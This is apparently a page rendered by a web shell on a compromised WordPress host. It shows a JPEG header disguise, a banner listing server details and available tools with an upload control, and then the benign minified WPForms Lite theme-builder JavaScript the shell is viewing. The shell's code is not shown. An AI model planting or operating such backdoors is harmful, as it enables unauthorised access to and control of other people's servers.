????JFIF??x?x????'
Server IP : 104.21.48.1 / Your IP : 216.73.216.18 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/cwd/wp-content/plugins/wpforms-lite/assets/js/admin/builder/themes/modules/ |
Upload File : |
export default function(e,t,s){let i=(t.WPForms||{}).Admin.Builder.Themes||{},{isAdmin:o,isPro:r,isLicenseActive:m,strings:n,route_namespace:a}=wpforms_builder_themes,l={},u={wpforms:null,custom:null},c=null,d={},h={init(){h.fetchThemesData(),h.setup(),h.events()},setup(){d.$builder=s("#wpforms-builder"),d.$themesControl=d.$builder.find(".wpforms-builder-themes-control"),d.$customThemeRenamer=d.$builder.find("#wpforms-panel-field-themes-themeName-wrap"),d.$customThemeRemover=d.$builder.find("#wpforms-builder-themer-remove-theme"),d.$window=s(t)},events(){d.$window.on("wpformsBuilderThemesDataLoaded",h.themesControlSetup),d.$builder.on("wpformsSaved",h.saveCustomThemes)},themesControlSetup(){let s=_.debounce(e=>{h.maybeCreateCustomTheme(),h.maybeUpdateCustomTheme(e)},300);i.store.subscribeAll((e,t)=>{i.common.getStyleAttributesKeys().includes(t)&&s(t)}),i.store.subscribe("themeName",e=>{h.changeThemeName(e),h.updateThemesList()}),i.store.subscribe("isCustomTheme",()=>{h.toggleCustomThemeSettings()}),h.maybeCreateCustomTheme(),h.toggleCustomThemeSettings(),h.updateThemesList()},updateThemesList(){var e=i.store.get("wpformsTheme")??"default",e=h.getThemesListMarkup(e);d.$themesControl.html(e),h.addThemesEvents()},getThemesListMarkup(e){if(!u.wpforms)return h.fetchThemesData(),`<div class="wpforms-no-themes">${n.themes_error}</div>`;var t=h.getAllThemes();if(!t)return"";var s=Object.keys(t);let o,r;let m="";for(var a in h.isWPFormsTheme(e)||(r=e,m+=h.getThemesItemMarkup(h.getTheme(r),r,r)),s){a=s[a];r&&r===a||((o={...t.default,...t[a]||{}}).settings={...t.default.settings,...o.settings||{}},m+=h.getThemesItemMarkup(o,a,e))}return`<div role="radiogroup" class="wpforms-builder-themes-radio-group"> ${m} </div>`},getThemesItemMarkup(e,t,s){var o,r;return e?(o=0<e.name?.length?e.name:n.theme_noname,r="wpforms-builder-themes-radio ",`<button type="button" class="${t===s?"is-active":""}" value="${t}" role="radio"> <div class="wpforms-builder-themes-radio ${r+=h.isDisabledTheme(t)?"wpforms-builder-themes-radio-disabled":" wpforms-builder-themes-radio-enabled"}"> <div class="wpforms-builder-themes-radio-title">${o}</div> </div> <div class="wpforms-builder-themes-indicators"> <span class="component-color-indicator" title="${n.button_background}" style="background: ${e.settings.buttonBackgroundColor};" data-index="0"></span> <span class="component-color-indicator" title="${n.button_text}" style="background: ${e.settings.buttonTextColor}" data-index="1"></span> <span class="component-color-indicator" title="${n.field_label}" style="background: ${e.settings.labelColor};" data-index="2"></span> <span class="component-color-indicator" title="${n.field_sublabel} " style="background: ${e.settings.labelSublabelColor};" data-index="3"></span> <span class="component-color-indicator" title="${n.field_border}" style="background: ${e.settings.fieldBorderColor};" data-index="4"></span> </div> </button>`):""},toggleCustomThemeSettings(){var e;o&&(e="true"===(i.store.get("isCustomTheme")??""),d.$customThemeRenamer.toggleClass("wpforms-hidden",!e),d.$customThemeRemover.toggleClass("wpforms-hidden",!e))},addThemesEvents(){let t=d.$themesControl.find('[role="radio"]');t.off("click").on("click",function(){t.removeClass("is-active"),s(this).addClass("is-active");var e=s(this).val();h.selectTheme(e)}),d.$customThemeRemover.off("click").on("click",h.deleteThemeModal)},selectTheme(e){h.setFormTheme(e)&&h.onSelectThemeWithBG(e)},setFormTheme(e){if(h.maybeDisplayUpgradeModal(e))return!1;var t=h.getTheme(e);if(!t?.settings)return!1;var s,o=Object.keys(t.settings),r=!!u.custom[e],m=(i.store.set("wpformsTheme",e),i.store.set("isCustomTheme",r?"true":""),i.store.set("themeName",r?u.custom[e].name:""),{});for(s in o){var a=o[s],n=t.settings[a];m[a]="string"==typeof n?n.replace(/px$/,""):n}return h.updateStylesAtts(m),i.common.loadColorPickers(),!0},onSelectThemeWithBG(e){i.stockPhotos.isPicturesAvailable()||h.isWPFormsTheme(e)&&(e=h.getTheme(e).settings?.backgroundUrl)?.length&&"url()"!==e&&i.stockPhotos.installModal("themes")},updateStylesAtts(t){var s,e=i.common.getStyleAttributesKeys(),o={};for(s in t)if(e.includes(s)){let e=t[s];"backgroundUrl"===s&&"string"==typeof e&&(e=h.getBackgroundUrl(e)),o[s]=e}Object.keys(o).length&&Object.entries(o).forEach(([e,t])=>{i.store.set(e,t)})},getBackgroundUrl(e){return e.match(/^url\(\s*['"]?(.*?)['"]?\s*\)$/i)?.[1]||"url()"},getAllThemes(){return{...u.custom||{},...u.wpforms||{}}},getTheme(e){return h.getAllThemes()[e]||null},getEnabledThemes(){if(!c){let s=h.getAllThemes();if(r&&m)return s;c=Object.keys(s).reduce((e,t)=>(s[t].settings?.fieldSize&&!s[t].disabled&&(e[t]=s[t]),e),{})}return c},updateEnabledThemes(e,t){c=c&&{...c,[e]:t}},isDisabledTheme(e){return!h.getEnabledThemes()?.[e]},isWPFormsTheme(e){return Boolean(u.wpforms[e]?.settings)},fetchThemesData(){if(!l.isFetchingThemes&&!u.wpforms){l.isFetchingThemes=!0;try{wp.apiFetch({path:a+"themes/",method:"GET",cache:"no-cache"}).then(e=>{u.wpforms=e.wpforms||{},u.custom=e.custom||{},d.$window.trigger("wpformsBuilderThemesDataLoaded")}).catch(e=>{console.error(e?.message)}).finally(()=>{l.isFetchingThemes=!1})}catch(e){console.error(e)}}},saveCustomThemes(){if(!l.isSavingThemes&&u.custom&&o){l.isSavingThemes=!0;try{wp.apiFetch({path:a+"themes/custom/",method:"POST",data:{customThemes:u.custom}}).then(e=>{e?.result||console.log(e?.error)}).catch(e=>{console.error(e?.message)}).finally(()=>{l.isSavingThemes=!1})}catch(e){console.error(e)}}},getCurrentStyleAttributes(e){var t,s=Object.keys(u.wpforms.default?.settings),o={};for(t in s){var r=s[t];o[r]=i.common.prepareComplexAttrValues(e[r],r)??""}return o},maybeCreateCustomTheme(){var e=i.getSettings(),t=h.getCurrentStyleAttributes(e),s=!!u.wpforms[e.wpformsTheme],o=!!u.custom[e.wpformsTheme];return!(s&&h.getPreparedDefaultThemeSettings(u.wpforms[e.wpformsTheme]?.settings)===JSON.stringify(t)||(!s&&o||h.createCustomTheme(e,t),0))},getPreparedDefaultThemeSettings(t){let s={};return Object.keys(t).forEach(e=>{s[e]=i.common.removeRgbaSpaces(t[e])}),JSON.stringify(s)},createCustomTheme(e,t=null){let s=0,o=e.wpformsTheme;var r=(h.getTheme(e.wpformsTheme)||u.wpforms.default).name;for(u.custom=u.custom||{};s++,o=o+"-copy-"+s,u.custom[o]&&s<1e4;);return r+=" ("+(s<2?n.theme_copy:n.theme_copy+" "+s)+")",u.custom[o]={name:r,settings:t||h.getCurrentStyleAttributes(e)},h.updateEnabledThemes(o,u.custom[o]),i.store.set("wpformsTheme",o),i.store.set("isCustomTheme","true"),i.store.set("themeName",r),h.updateThemesList(),!0},updateCustomThemeAttribute(e,t){var s=i.getSettings().wpformsTheme;u.wpforms[s]||"themeName"!==e&&!u.wpforms.default.settings[e]||u.custom[s]&&("themeName"===e?u.custom[s].name=t:(u.custom[s].settings=u.custom[s].settings||u.wpforms.default.settings,u.custom[s].settings[e]=t,h.maybeUpdateColorIndicator(e,t)))},maybeUpdateCustomTheme(e){var t=i.getSettings();"true"===t.isCustomTheme&&(t=i.common.prepareComplexAttrValues(t[e],e),h.updateCustomThemeAttribute(e,t))},maybeUpdateColorIndicator(e,t){var s,o=["buttonBackgroundColor","buttonTextColor","labelColor","labelSublabelColor","fieldBorderColor"];o.includes(e)&&(s=d.$themesControl.find("button.is-active .wpforms-builder-themes-indicators"),o=o.indexOf(e),(e=s.find(`.component-color-indicator[data-index="${o}"]`)).length)&&e.css("background-color",t)},maybeDisplayUpgradeModal(e){return!(!h.isDisabledTheme(e)||(r?m||(i.common.showLicenseModal("themes",n.pro_sections.themes,"select-theme"),0):(i.common.showProModal("themes",n.pro_sections.themes),0)))},changeThemeName(e){h.updateCustomThemeAttribute("themeName",e)},deleteTheme(e){delete u.custom[e]},deleteThemeModal(e){e.preventDefault();let t=i.getSettings().wpformsTheme;e=h.getTheme(t)?.name,e=`<p class="wpforms-theme-delete-text">${n.theme_delete_confirm.replace("%1$s",`<b>${_.escape(e)}</b>`)} ${n.theme_delete_cant_undone}</p>`;s.confirm({title:n.theme_delete_title,content:e,icon:"wpforms-exclamation-circle",type:"red wpforms-builder-themes-modal",buttons:{confirm:{text:n.theme_delete_yes,btnClass:"btn-confirm",keys:["enter"],action(){h.deleteTheme(t),h.selectTheme("default")}},cancel:{text:n.cancel,keys:["esc"]}}})}};return h}